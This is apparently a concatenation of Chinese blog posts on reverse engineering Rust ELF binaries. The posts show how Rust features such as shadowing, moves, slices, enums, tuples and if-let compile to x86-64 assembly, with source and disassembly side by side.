对于上面的代码,can_hold方法的参数有两个,都是指针,如果将第二个参数的&去掉,则参数有三个。经过试验发现,当一个结构体中的元素数量较少时,不加&可能会将结构体的每个元素分别作为参数传递,当元素数量较多时,则是首先复制然后传递指针。

对于关联函数,由于其第一个参数并不是self,类似于C++中的类静态函数,不需要首先获取结构体实例即可调用,参数传递与一般的函数相同。

Reverse for enum (Part 2)

对于枚举类型,我们在第二篇文章中已经进行了较为详细的解释,对于枚举类型的内存排布有了一定的了解。

下面对枚举类型中定义的方法进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
use std::any::Any;

pub enum Student {
Freshman(String),
Sophomore(String),
Junior(String),
Senior(String),
}

pub fn get_student(grade: i32, name: String) -> Option<Student> {
match grade {
1 => Some(Student::Freshman(name)),
2 => Some(Student::Sophomore(name)),
3 => Some(Student::Junior(name)),
4 => Some(Student::Senior(name)),
_ => None
}
}

impl Student {
fn test(&self) -> String {
match self {
Student::Freshman(name) => format!("{}", "Calculus").to_string(),
Student::Sophomore(name) => format!("{}", "Data Structure").to_string(),
Student::Junior(name) => format!("{}", "Computer Network").to_string(),
Student::Senior(name) => format!("{}", "Graduation Design").to_string()
}
}
}

pub fn main() {
let x = get_student(4, "CoLin".to_string()).unwrap();
println!("{}", x.test());
}

上面代码中对于test方法的调用如下:

1
2
3
4
5
6
7
8
mov     rax, qword ptr [rip + core::option::Option<T>::unwrap@GOTPCREL]
lea rdi, [rsp + 40]
mov qword ptr [rsp + 32], rdi
call rax
mov rsi, qword ptr [rsp + 32]
lea rdi, [rsp + 192]
call example::Student::test
jmp .LBB26_3

可以看到方法的第一个参数依然是self,第二个参数则是等待初始化的String实例地址。在代码中是返回String实例,实际上是传入未初始化的指针。

Option<T>

针对Option<T>,Rust在汇编层有自己的处理方式。如果将Option<T>看做一个普通的枚举类型,且Some后面带的是另一个枚举类型,那么这样的话就会产生两层枚举对象,不太优雅。对于get_student函数,下面是部分反编译结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000009702 48 89 4C 24 18                mov     [rsp+108h+var_F0], rcx
.text:0000000000009707 83 E8 03 sub eax, 3
.text:000000000000970A 77 15 ja short def_971F ; jumptable 000000000000971F default case
.text:000000000000970A
.text:000000000000970C 48 8B 44 24 18 mov rax, [rsp+108h+var_F0]
.text:0000000000009711 48 8D 0D B4 09 04 00 lea rcx, jpt_971F
.text:0000000000009718 48 63 04 81 movsxd rax, ds:(jpt_971F - 4A0CCh)[rcx+rax*4]
.text:000000000000971C 48 01 C8 add rax, rcx
.text:000000000000971F FF E0 jmp rax ; switch jump
.text:000000000000971F
.text:0000000000009721 ; ---------------------------------------------------------------------------
.text:0000000000009721
.text:0000000000009721 def_971F: ; CODE XREF: revlab::get_student::h5c77d454e35cea03+3A↑j
.text:0000000000009721 48 8B 44 24 08 mov rax, [rsp+108h+var_100] ; jumptable 000000000000971F default case
.text:0000000000009726 48 C7 00 04 00 00 00 mov qword ptr [rax], 4
.text:000000000000972D E9 43 02 00 00 jmp loc_9975

下面的def_971F为默认分支,可以看到这里是将枚举类型的索引值赋值为4,但上面定义的枚举类型一共只有4个值,最大的索引值只能为3。将索引值设置为4实际上也就表示这个枚举类型是一个无效值,这样在内存中实际上并不存在二重枚举类型,而是只有一个Student枚举类型。由此可见,对泛型参数为枚举类型的Option,Rust进行了优化。

Reverse for if-let

if let语句是针对只有一个处理条件和一个默认条件的match语句的平替。由于只有一个特殊条件和默认条件,因此在实际实现中只需要使用类似于if的逻辑即可完成。

1
2
3
4
5
6
pub fn main() {
let x = get_student(4, "CoLin".to_string());
if let Some(Student::Senior(y)) = x {
println!("{}", y);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
example::main:
sub rsp, 216
mov byte ptr [rsp + 183], 0
lea rdi, [rsp + 56]
lea rsi, [rip + .L__unnamed_5]
mov edx, 5
call <str as alloc::string::ToString>::to_string
lea rdi, [rsp + 24]
mov esi, 4
lea rdx, [rsp + 56]
call qword ptr [rip + example::get_student@GOTPCREL]
mov byte ptr [rsp + 183], 1
mov eax, 1
xor ecx, ecx
cmp qword ptr [rsp + 24], 4
cmove rax, rcx
cmp rax, 1
jne .LBB18_2
cmp qword ptr [rsp + 24], 3
je .LBB18_3

可以发现,这里的判断逻辑和match是类似的,都是对枚举索引值进行比较。

总结

本文学习了:

  1. Rust 结构体的内存排布以及结构体方法的参数传递,结构体方法参数传递遵照this参数传递法
  2. Rust 枚举类型方法的参数传递与结构体方法的参数传递类似
  3. Rust if-let语句的判断逻辑,Option<T>的内存结构

在本文中,我们将跟随《Rust权威指南》的学习路线,继续进行Rust逆向的学习。

前两篇文章中,我们对猜数字这个程序进行了详细的逆向分析,学习了Rust元组、枚举类型、控制结构、函数调用规则等基础的Rust汇编语言层结构。本文将针对第3章——通用编程概念与第4章——认识所有权的部分内容,对书中提到的Rust特性进行逆向分析。一方面学习逆向,另一方面深入理解Rust语言本身。

Reverse for Shadow

Rust逆向中有一个“隐藏”(Shadow)的概念。它指的是一个变量可以多次被let关键字修饰,第二次通过let关键字定义变量可以改变原变量的类型,或改变原变量的值。如书中的示例:

1
2
3
4
5
6
fn main(){
let x = 5;
let x = x + 1;
let x = x * 2;
...
}

如此通过let关键字改变变量,与直接将变量用mut关键字声明的区别是可以在改变变量值的情况下保证变量的不可变性,还能够修改变量的类型。那么对于汇编语言层而言,在不改变变量类型的情况下,shadow特性是否会修改变量的保存位置?如果修改了变量类型,Rust又会将新的变量保存到什么位置呢?

0x01. 变量类型不修改

在没有修改变量类型的情况下,我们使用下面的代码示例进行测试:

1
2
3
4
5
6
7
pub fn main() {
let x = 5;
println!("{}", x);
let y = x + 2;
let x = x + 1;
println!("{} {}", x, y);
}

这里每行语句的内容以及顺序是笔者通过调试选择的。

如果没有第一句println!语句,5这个值将会被保存到eax之中而不是一开始保存到内存,随后首先计算5+2将7保存到内存中某个位置。然后代码中通过mov eax, 5再将5赋值给x,计算5+1将6保存到内存中另一个位置。这是Rust编译器优化的结果,减少了内存交互。

而如果将第一个println!语句加上,情况则大不相同。因为根据我们前面文章的分析,println!需要首先获取若干个指针将第一个参数字符串中的中括号内容进行替换,因此在执行第一句println!前,x这个值必须要被保存到内存之中。使用网站编译后获取的部分汇编代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
example::main:
sub rsp, 216
mov dword ptr [rsp + 12], 5
lea rax, [rsp + 12]
mov qword ptr [rsp + 200], rax
mov rax, qword ptr [rip + core::fmt::num::imp::<impl core::fmt::Display for i32>::fmt@GOTPCREL]
mov qword ptr [rsp + 208], rax
mov rcx, qword ptr [rsp + 200]
mov rax, qword ptr [rsp + 208]
mov qword ptr [rsp + 64], rcx
mov qword ptr [rsp + 72], rax
lea rdi, [rsp + 16]
lea rsi, [rip + .L__unnamed_4]
mov edx, 2
lea rcx, [rsp + 64]
mov r8d, 1
call core::fmt::Arguments::new_v1
lea rdi, [rsp + 16]
call qword ptr [rip + std::io::stdio::_print@GOTPCREL]
mov eax, dword ptr [rsp + 12]
add eax, 2
mov dword ptr [rsp + 8], eax
seto al
test al, 1
jne .LBB1_2
mov eax, dword ptr [rsp + 8]
mov dword ptr [rsp + 80], eax
mov eax, dword ptr [rsp + 12]
inc eax
mov dword ptr [rsp + 4], eax
seto al
test al, 1
jne .LBB1_4
jmp .LBB1_3

可以看到,5这个值首先被保存到了[rsp+12]这个地方。在输出后从这个地方取出值,+2,保存到[rsp+8]作为y。下面的seto指令指的是如果该指令执行时将溢出标志位(OF)的值保存到唯一一个操作数,也就是al中,这个主要是为了检查整数运算是否产生了数值溢出。

最后一部分,可以看到eax取出[rsp+12]这个地址的内容,+1,再保存到了另外一个地址空间[rsp+4]中。也就是说,这里Rust编译器选择不复用原来的内存空间,即使原来的内存空间在正常情况下已经不会再被访问。这造成了4字节的内存空间浪费。上述的代码是以无优化模式进行编译,没有进行优化。

不过当笔者在编译选项中添加-C opt-level=3,即最高级别优化时,具体的汇编代码虽然有所不同,原先的整数计算将不再进行溢出检查,但是x在shadow之后依然被保存到了不同的内存空间之中。

0x02. 变量类型修改

当变量类型修改时,有三种情况可能产生:新的变量类型占用的内存空间大小不变或更大或更小。

将上一节Rust代码中第二次使用let关键字定义的变量xi32类型改变为u32类型,最终保存变量的内存空间排布与上一节完全相同,唯一不同的是溢出检查变成了setb命令,这个命令相当于是将进位/借位标志位赋值给寄存器,也就是检查无符号整数溢出的。

将上一节中的shadow变量xi32类型改为i16类型,即将变量占用的内存空间变小,最终的结果依然是不会复用。改为i64类型也是如此。

由此可以得出结论:Rust中一个变量将另一个变量隐藏后,无论新的变量类型是什么,都不会使用原来的变量内存空间保存新的变量。

另外,当旧值为一个对象实例时,隐藏旧值后旧值将会自动删除。

经过思考,笔者认为Rust编译器这样做的原因是:有的时候一个变量将另一个变量隐藏时,新赋的值可能需要旧值参与运算。如果旧值为指针,那么此时新值不可能复用旧值的内存空间,旧值需要在新值赋值运算进行过程中一直保持不变,因此不复用内存空间在编译器设计上反而是最为简单的。另外,旧值在被隐藏后生命周期不会立即结束,针对其的引用依然能够使用,不过如果其所有权没有被夺走,隐藏后就无法获取其所有权了。

Reverse for Array

Rust语言中有数组结构,对于数组的定义,Rust有较为方便的定义方式。当需要连续多个相同的值到相邻的数组索引时,可以使用分号定义,如[5;5]即为长度为5,5个索引值全为5的数组。

下面是let x = [5; 10]的反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
example::main:
xor eax, eax
mov qword ptr [rsp - 48], rax
.LBB0_1:
mov rax, qword ptr [rsp - 48]
mov qword ptr [rsp - 56], rax
cmp rax, 10
jae .LBB0_3
mov rax, qword ptr [rsp - 56]
mov dword ptr [rsp + 4*rax - 40], 5
add rax, 1
mov qword ptr [rsp - 48], rax
jmp .LBB0_1
.LBB0_3:
ret

可以看到这里使用了一个循环结构来为各个索引赋值,而且经过测试发现,即使分号后面是2,Rust也会使用循环来定义。当优化等级为最高时,Rust编译器会通过xmmword赋值,一次可以赋值4个索引16个字节的内容。

Reverse for Moving

对于一个对象实例,为防止其所有权被多个变量拥有,当另外一个变量尝试获取其所有权时,原先变量对其的所有权将被夺走。

1
2
3
4
5
6
fn main() {
let x = String::from("I'm CoLin");
println!("{}", x);
let y = x;
println!("{}", y);
}

对于上述代码,逆向出来的结果比较有趣,往下看。

1
2
3
4
5
6
7
8
sub     rsp, 280
mov byte ptr [rsp + 231], 0
mov byte ptr [rsp + 231], 1
lea rsi, [rip + .L__unnamed_5]
lea rdi, [rsp + 40]
mov qword ptr [rsp + 16], rdi
mov edx, 9
call <alloc::string::String as core::convert::From<&str>>::from

上面是第一行from函数的逆向,可以看到from函数实际传参用了三个寄存器,rdi为目的String实例指针,rsi为字符串字面量地址,rdx为字符串长度。可以看到这里[rsp+16]保存了String实例的栈地址,这也就是变量x的保存位置。

后面略过println!看第三行:

1
2
3
4
5
6
7
8
9
10
11
mov     byte ptr [rsp + 231], 0
mov rax, qword ptr [rsp + 56]
mov qword ptr [rsp + 144], rax
movups xmm0, xmmword ptr [rsp + 40]
movaps xmmword ptr [rsp + 128], xmm0
lea rax, [rsp + 128]
mov qword ptr [rsp + 248], rax
lea rax, [rip + <alloc::string::String as core::fmt::Display>::fmt]
mov qword ptr [rsp + 256], rax
mov rax, qword ptr [rsp + 248]
mov qword ptr [rsp], rax

上面的代码将String实例占用的0x18大小内存空间(len、ptr、capacity)拷贝到了[rsp+128]的地方,一次使用rax拷贝,一次使用xmm0拷贝。随后,[rsp+128]这个指针被拷贝到[rsp+248][rsp]中,推测变量y就保存在[rsp]

可以看到,String实例的移动会在栈上再创建一个String实例空间,但实际指向的字符串指针相同。不过有意思的是,Rust在后续并没有对变量x的内存空间进行任何处理。在y使用完之前,x不能将自身的实例删除,这样相当于也删除了y。但后续代码将不再使用变量x,即如果变量y在后续进行了更新,字符串地址发生了改变,变量x中保存的字符串地址也无法同步更新。不过Rust并没有将变量x的所有内容清空,而是继续保留在原来的位置。也就会说,变量x在移动操作完成之后,其保存的内容将永远是移动操作完成前一刻的内容,且此后正常情况下不再改变。不过没有清空就意味着有数据泄露的可能性。倘若Rust代码中有Unsafe部分代码被攻击者利用,这部分数据可就危险了。

下面的代码示例证明了变量移动后并没有被删除。两次输出的结果相同,均为llo,你可能会想:为什么已经被Rust废弃的变量依然能够具有引用。因为Rust中的废弃和生命周期走向结束并不相同,废弃仅仅代表后续代码无法对其进行访问,无法获取其所有权,但对于引用类型,还是可以使用的,但无法获取其所有权。

1
2
3
4
5
6
7
fn main() {
let x: String = String::from("Hello");
let y = &x[2..];
println!("y = {}", y);
let x = String::from("CoLin");
println!("y = {}", y);
}

Reverse for References and Borrows

引用和借用是Rust的重要特性,它允许一个变量在不获取所有权、不转移所有权的前提下使用某个变量。借用指的是通过引用传递参数给函数的方法。既然涉及函数传参,那么下面我们就来通过一个函数调用的示例对Rust的引用与借用进行源码和汇编层面的分析。

1
2
3
4
5
6
7
8
fn print_len(s: &String) {
println!("the length of the string {} is: {}", s, s.len());
}

pub fn main() {
let x = String::from("Hello");
print_len(&x);
}

下面是main函数的部分反编译结果:

1
2
3
4
5
6
7
8
sub     rsp, 56
lea rsi, [rip + .L__unnamed_6]
lea rdi, [rsp + 16]
mov qword ptr [rsp + 8], rdi
mov edx, 5
call <alloc::string::String as core::convert::From<&str>>::from
mov rdi, qword ptr [rsp + 8]
call example::print_len

可以看到,main函数直接将x的内存地址,即保存String实例地址的地址传递给print_len函数。这样子函数只需要通过获取该地址即可完成后续操作。

但是转念一想,如果子函数的参数不是引用,只是单纯的String,汇编代码层又会有什么不同呢?这样的例子总是存在的,当一个结构体非常庞大时,如果只通过寄存器与栈传递参数,未免有点太不优雅了。下面是将参数修改为Stringmain函数的部分反编译结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
sub     rsp, 56
lea rdi, [rsp + 8]
lea rsi, [rip + .L__unnamed_6]
mov edx, 5
call <alloc::string::String as core::convert::From<&str>>::from
mov rax, qword ptr [rsp + 8]
mov qword ptr [rsp + 32], rax
mov rax, qword ptr [rsp + 16]
mov qword ptr [rsp + 40], rax
mov rax, qword ptr [rsp + 24]
mov qword ptr [rsp + 48], rax
lea rdi, [rsp + 32]
call example::print_len

可以看到,这里实际上传递到print_len函数的参数依然只有1个,但不同的是,main函数首先将String实例在栈上复制了一份,然后将复制那份的地址传了过去。另外,对于实例的删除位置不同,这是由Rust语言特性所决定的,不加引用意味着变量的所有权被转移到了子函数中,删除操作将在子函数中进行;加引用则所有权不转移,删除操作将在父函数中进行。不加引用的父函数操作与移动非常相似,只不过是没有将复制出来的实例地址放到栈的某处。想来其实也很合理,不加引用实际上就是完成了所有权的移动嘛。

Reverse for String Slices

在Rust中,存在与Python类似的切片类型Slice,对于字符串而言,字符串字面量也可以看做是一个字符串切片。

考虑下面的Rust代码:

1
2
3
4
5
pub fn main() {
let x = String::from("I'm CoLin");
let y = &x[4..];
println!("{}", y);
}

其部分反编译结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
sub     rsp, 184
lea rsi, [rip + .L__unnamed_5]
lea rdi, [rsp + 40]
mov qword ptr [rsp + 16], rdi
mov edx, 9
call <alloc::string::String as core::convert::From<&str>>::from
mov rdi, qword ptr [rsp + 16]
mov qword ptr [rsp + 80], 4
mov rsi, qword ptr [rsp + 80]
lea rdx, [rip + .L__unnamed_6]
call <alloc::string::String as core::ops::index::Index<core::ops::range::RangeFrom<usize>>>::index
mov qword ptr [rsp + 24], rdx
mov qword ptr [rsp + 32], rax

可以看到,String实例指针,即变量x被保存在[rsp+16]的位置,随后程序调用了一个core::ops::index::Index<core::ops::range::RangeFrom<usize>>>::index方法,实际上也就是从字符串中获取切片的方法。该方法的参数按顺序依次为:String实例指针、切片的起始索引值、另外一个字符串切片,这第三个参数指向的是保存工程名的字符串,可以忽略。如果将Rust源码的[4..]改为[4..7],会发现第三个参数变成了7,函数名变成了Range,如果是[..4],则函数名为RangeTo,传参与[4..]完全相同。由此可见字符串取切片实际上有3个方法控制。返回值由两个寄存器传递,rdx保存的是长度,rax保存的是字符串指针。

总结

本文按照Rust权威指南的讲解顺序,向后学习了:

  1. 变量隐藏在汇编层中的表现,隐藏后变量值不变
  2. 数组变量在汇编层的数据结构,与C类似
  3. 变量移动在汇编层与变量隐藏类似
  4. 字符串切片相关操作在汇编层的实现

在上一篇文章中,我们比较完美地完成了第一次Rust ELF的逆向工作,但第一次编写的Rust程序毕竟只使用了非常有限的几种Rust特性,Rust还有很多的东西没有涉及,像是流程控制、泛型、Trait等。这些内容我们将在本文以及以后的文章中一一进行学习与探索。

Guess a number

0x01. Guess a number .part 1

本文从一个跳跃不是很大的程序开始,也就是一个真正的猜数字小程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use std::cmp::Ordering;
use std::io; // prelude
use rand::Rng; // trait

fn main() {
let secret = rand::thread_rng().gen_range(1, 101); // ThreadRng: random number generator
loop {
println!("Please guess a number between 1 and 100:");
let mut guess = String::new();
io::stdin().read_line(&mut guess)
.expect("Cannot read a line!");
println!("Your guess is: {}", guess);
let guess: u32 = match guess.trim().parse() {
Ok(num) => num,
Err(_) => continue,
};
match guess.cmp(&secret){
Ordering::Less => println!("Too small."),
Ordering::Greater => println!("Too large."),
Ordering::Equal => {
println!("You win.");
break;
},
}
}
}

这里要注意,使用上一篇文章中的编译工具网站时需要添加库并在代码中通过extern crate rand手动加载rand库,否则会编译失败。

考虑到效率问题,本文对于上述代码的反汇编以IDA的反汇编结果为主,汇编代码分析为辅。

line 1

第一行中thread_rng方法返回ThreadRng实例,也就是使用于单个线程的随机数产生器实例,随后将其作为参数1(即self),参数2和参数3分别为范围的下界和上界。通过汇编代码可以发现,Range这个对象需要两个寄存器传递。通过查看Rust官方库源码也可以发现,Range实际上也就只有开始和结尾这两个属性值:

1
2
3
4
5
6
7
8
pub struct Range<Idx> {
/// The lower bound of the range (inclusive).
#[stable(feature = "rust1", since = "1.0.0")]
pub start: Idx,
/// The upper bound of the range (exclusive).
#[stable(feature = "rust1", since = "1.0.0")]
pub end: Idx,
}

gen_range方法以常规的方式使用rax返回了生成的随机数值。

随后,一个drop_in_place直接删除了ThreadRng实例,可见Rust对于生命周期的管理非常严格,后续代码已经没有使用ThreadRng实例的代码,因此Rust直接就将其删除了,尽最大可能减少对象重用与悬垂指针引用的可能。

loop

在Rust的反汇编界面中,continue很少见到,因为对于一个循环而言,其内部很有可能存在生命周期在循环之内的对象,因此即使Rust代码中写continue,Rust也需要首先将循环中创建的对象删除之后再开始新一轮循环。这也就导致IDA的反汇编界面中可能会出现很多goto

line 3~7

println!的特征很好识别,Arguments::new_v1_print一出,就知道肯定又是一次输出,不过输出的具体字符串内容直接查看反汇编界面无法确定,不过在汇编代码中也很好找。随后的String::new等也非常正常。

match

上述代码一共有两个match语句,第一个是将字符串parse的结果进行判断,替换了上一篇文章中的expect。这里parse函数的返回值是一个枚举对象Result<F, F::Err>。我们知道Rust的枚举对象是一个很强大的结构,比C/C++中的枚举对象好用很多,这是因为Rust的枚举对象可以理解成一个Key有限且确定的Map,选择一个Key之后还能够根据Key指定的数据类型自由设置Value。在这里我们不妨研究一下,Rust中的枚举对象是如何组织的。

0x02. Reverse for enum

下面通过一个简单的程序对枚举类型进行逆向分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#[derive(Debug)]
pub enum Student {
Freshman(String),
Sophomore(String),
Junior(String),
Senior(String),
}

pub fn get_student(grade: i32, name: String) -> Option<Student> {
match grade {
1 => Some(Student::Freshman(name)),
2 => Some(Student::Sophomore(name)),
3 => Some(Student::Junior(name)),
4 => Some(Student::Senior(name)),
_ => None
}
}

pub fn main() {
let x = get_student(4, "CoLin".to_string()).unwrap();
println!("{:?}", x);
}

上述代码定义了一个枚举类型。首先来看get_student方法:

可以看到,在反汇编界面中,IDA将match语句识别为switch语句,通过汇编代码的分析也能够很容易地发现跳表的存在。

通过查看main函数的方法调用,可以获得get_student方法的参数分别为:Student对象指针、grade参数、name参数。在switch语句中,我们发现每一个分支都有大量的值传送指令,含义未知,但我们可以通过函数调用前后获取到枚举类型的大小与内容。

经过分析,获取到了枚举对象的内容如上图所示。从函数内容等处可以推断出,枚举对象的第一个值3表示的是枚举对象grade的关键字索引,这里由于返回的是Student::Senior,索引为3,也即枚举对象中的4个索引值对应了0、1、2、3这4个索引值。后面还有3个值,其中有字符串指针和字符串长度,经过测试发现,String对象占0x18大小内存,偏移0x8为字符串指针,偏移0和0x10均为字符串长度。

之后,笔者修改了Student枚举类型的定义,在每一项后面加上了一个i32,经过调试发现枚举类型的属性偏移如下:

1
2
3
0x0         枚举索引
0x4 i32
0x8~0x20 String

位于后面的i32类型反而在内存中更加靠前了。笔者推测这可能与Rust对tuple的内存排布有关,考虑到枚举索引很少有超过1个字节(不然就意味着有超过255个分支),使用后面4个字节能节省一定的内存空间。不过无论tuple是如何排布的,Rust的枚举类型在内存中的布局现在已经很清楚了,就是索引值+内容

不过既然都已经看到了tuple的不寻常,接下来不妨也对其进行一番研究。

0x03. Reverse for Tuple

下面将尝试通过数个Tuple的反编译结果分析Tuple的内存布局。众所周知,Tuple就是若干个数据的集合,这些数据之间没有什么明确的关联,只有一个Tuple将它们约束在一个集合中。

1
2
3
pub fn main() {
let x = (2, 3, 5, 7, 11, String::new());
}

对于上述代码逆向的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
example::main:
sub rsp, 72
lea rdi, [rsp + 48]
call alloc::string::String::new
mov dword ptr [rsp], 2
mov dword ptr [rsp + 4], 3
mov dword ptr [rsp + 8], 5
mov dword ptr [rsp + 12], 7
mov dword ptr [rsp + 16], 11
mov rax, qword ptr [rsp + 48]
mov qword ptr [rsp + 24], rax
mov rax, qword ptr [rsp + 56]
mov qword ptr [rsp + 32], rax
mov rax, qword ptr [rsp + 64]
mov qword ptr [rsp + 40], rax
mov rdi, rsp
call qword ptr [rip + core::ptr::drop_in_place<(i32,i32,i32,i32,i32,alloc::string::String)>@GOTPCREL]
add rsp, 72
ret

从相对于rsp的偏移量可以看出Tuple的排布情况,上述Tuple的内存排布顺序与数据的定义顺序相同。

但对于下面一个Tuple而言就不同了:

1
2
3
pub fn main() {
let x = (2, 3, 5, 7, 11, String::new(), "CoLin");
}

逆向的结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
example::main:
sub rsp, 88
lea rdi, [rsp + 64]
call alloc::string::String::new
mov dword ptr [rsp + 24], 2
mov dword ptr [rsp + 28], 3
mov dword ptr [rsp + 32], 5
mov dword ptr [rsp + 36], 7
mov dword ptr [rsp + 40], 11
mov rax, qword ptr [rsp + 64]
mov qword ptr [rsp], rax
mov rax, qword ptr [rsp + 72]
mov qword ptr [rsp + 8], rax
mov rax, qword ptr [rsp + 80]
mov qword ptr [rsp + 16], rax
lea rax, [rip + .L__unnamed_1]
mov qword ptr [rsp + 48], rax
mov qword ptr [rsp + 56], 5
mov rdi, rsp
call qword ptr [rip + core::ptr::drop_in_place<(i32,i32,i32,i32,i32,alloc::string::String,&str)>@GOTPCREL]
add rsp, 88
ret

可以看到,这里是将String::new()产生的String实例放在了开头,随后才是5个i32,最后是&str。至于为什么要这样排列,询问了一个Rust大手子之后,给到的答案是:Rust数据结构和内存排布没有必然关联,Rust编译器可能根据不同的架构进行相应的内存结构调整,说人话就是——不能预判,不是必然顺序排列。不过考虑到对于Tuple的遍历、索引等操作在代码中都是固定的,编译器在编译的时候完全可以将地址偏移与索引值一一对应,不影响正常的索引,但对于反编译则是一个巨大的噩梦,因为你不确定某个索引值的数据到底有多少偏移。另外,如何通过汇编代码对栈空间的布局判断是否存在一个tuple也是一个问题。在定义变量时,一个tuple完全可以拆分为多个变量进行定义,反正在汇编代码中也不会保存临时变量的变量名。这在内存中会表现出来不同吗?

我们还是通过实际验证来解答我们的问题。

1
2
3
4
pub fn main() {
let x = (2, 3, 5, 7, 11, 13);
println!("{}", x.0);
}
1
2
3
4
5
6
7
8
9
pub fn main() {
let x = 2;
let y = 3;
let z = 5;
let a = 7;
let b = 11;
let c = 13;
println!("{}{}{}{}{}{}", x, y, z, a, b, c);
}

给出上面的两个Rust函数,通过查看6个整数值在内存中的排布可以发现,两者对于6个整数值都是按相同顺序进行排列,从低地址到高地址依次为2、3、5、7、11、13。不过在编译过程中发现,只有当变量被使用时,Rust编译器才会将这个变量编译到ELF中,否则这个变量将不会出现在ELF中。也就是说,我们不能仅仅通过栈内存排布判断源代码中是否定义了Tuple。不过转念一想,这样其实是合理的。Tuple实际上就相当于是一个匿名的结构体实例,想一想C语言中的结构体,实际上也就是将一堆各种类型的数据集合在一起,使用相邻的内存空间保存各个属性而已。定义一个具有两个int类型的C语言结构体,将其在栈内存中分配一个实例空间,与在栈内存中分配两个int类型的变量,在本质上是完全相同的。

因此,我们在对Rust ELF进行逆向分析时,不必纠结源码的编写者是否定义了元组,全部将其看做独立的变量就可以了。

0x04. Guess a number .part 2

好不容易说完了对Rust枚举类型和元组的逆向,接下来让我们回到最开始的那个程序,说到两个match语句。

对于第一个match语句,match的对象是一个枚举类型,在match语句体之内实际上是按照枚举类型进行分支。在汇编语句中,Rust是这样完成分支的:

注意0xCEAC处的指令:mov al, byte ptr [rsp+1D8h+var_C0],第二个操作数是parse方法的返回值,也就是Result<F, F::Err>。考虑到这里的Fu32类型,整个枚举类型占用的空间大小为8字节,因此rax返回的直接就是对象本身的内容(0x??_0000_0000)。第1个字节为枚举索引值,后4个字节为转换后的值。在0xCEAC地址的这条指令将第1个字节赋值给al后进行了比较(cmp rax, 0),这也就是分支的具体实现方法——提取出枚举类型的索引值,根据索引值进行分支。

对于后面cmp方法返回值的match与之类似,本质上使用的也是if-else结构,主要是因为分支数量较少,没有必要使用跳转表,分支逻辑如上图所示。不过不同的是,第一个分支是判断枚举对象索引值是否等于0xFF,即-1。经过调试发现,Ordering::Less对应的枚举索引为-1,Ordering::Greater对应1,Ordering::Equal对应0。而对于每个分支,都只是一个简单的输出语句,这里就不再分析了。

0x05. 总结

在本文中,我们学习了:

  1. Rust的枚举类型在汇编代码层的数据结构实现。
  2. Rust的元组Tuple类型在汇编代码层无法被有效识别,但可将其看做多个独立变量进行分析。
  3. 三个Ordering枚举对象的索引值为-1、0、1,与一般枚举对象索引值从0开始不同。
  4. Rust倾向于当变量不再使用时就删除变量对象,以尽可能地提高安全性。
  5. Rust的元组类型在汇编代码层栈空间的数据排列顺序与元组类型中数据的定义顺序不一定相同。

近年来,Rust语言的热度越来越高,很多人都对Rust优雅的代码和优秀的安全性赞不绝口。对于开发是如此,对于CTF也是如此,在逆向题和pwn题中都有出现。从本文开始我们将开始进行Rust逆向的学习,笔者将尽可能通过现有的IDA(7.7版本)对Rust ELF文件中包含的特性进行分析与总结,尽可能地减少Rust逆向的难度,尽可能地解决分析过程中产生的每一个问题,最终争取达到能够通过IDA反汇编结果还原Rust代码的程度。

本系列将跟随《Rust权威指南》的学习路线完成Rust逆向工程的学习。

阅读本文前,建议首先掌握:

  • ✅ x86-64逆向的基础知识
  • ✅ Rust语言的基本使用

Hello, Rust Reverse

首先我们写一个流程较猜数字稍简单一些的Rust程序,完成Rust ELF的第一次分析。
以下是Rust源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
use std::io;

fn main() {
let mut input: String = String::new();
io::stdin().read_line(&mut input).expect("Read Error!");
let mut num = input.trim().parse().expect("Input not a number!");
println!("{}", match num {
1 => "one",
2 => "two",
x if x < 10 => "Something smaller than 10",
_ => "Something not smaller than 10"
});
}

使用cargo build编译后将ELF文件放入IDA中进行分析。这个ELF文件没有去除符号表,便于分析。

0x01. main函数定位

反汇编完成后,可以看到,左边栏的函数名大多很长,但也有一些规律可循。定位到main函数发现,main函数本身只有很少的几行代码,但Rust真正的main函数也不难找。看到0xA020处有一个main函数,这个项目笔者将其命名为revlab,而这个函数名中也正好就有revlab,因此可以推测出,这就是我们要找的Rust main函数。

但我们可以先不急着查看main函数的具体内容,单是这个main函数名就有一番研究的必要。_ZN6revlab4main17h512e681518e409c2E,这是Rust编译器赋予我们自己的main函数的函数名。有没有觉得这个函数名的命名规则很熟悉呢?没错,这种函数命名方式被称为name mangling,与C++编译器对函数的命名规则类似。这里参考资料。我们就可以将这个函数名进行简单的翻译:revlab::main,前面的_ZN是固定开头,6代表下一个模块的名字长度,也就是后面的revlab,4相同,即解析main,17h后面是函数的哈希值,可以忽略。这里通过左边栏可以看到,IDA能够自动为我们完成函数名的解析。

0x02. main函数分析

别看我们第一次写的main函数只有短短的几行,转换成汇编之后却有点让人头疼。考虑到这是我们第一次进行分析,笔者尝试借助其他的工具辅助分析——传送门。这个网站可以帮助我们将源代码与汇编代码对应起来,帮助我们进行分析。

可以看到,main函数的汇编逻辑还是比较复杂的,这也是Rust ELF的一个特点,使得Rust反汇编较C/C++更难。

line 1

第一行定义了一个字符串变量,使用String::new()方法。但是在汇编中可以发现,call调用String::new()函数并没有对返回值进行操作,而是将rdi进行了赋值,这与C语言不同,如果按照C语言的逻辑,则更像是String::new(&input)。随后,笔者修改了代码进行试验,发现Vecnew方法流程类似。可见各个对象的new方法实际上是传了参的。

line 2

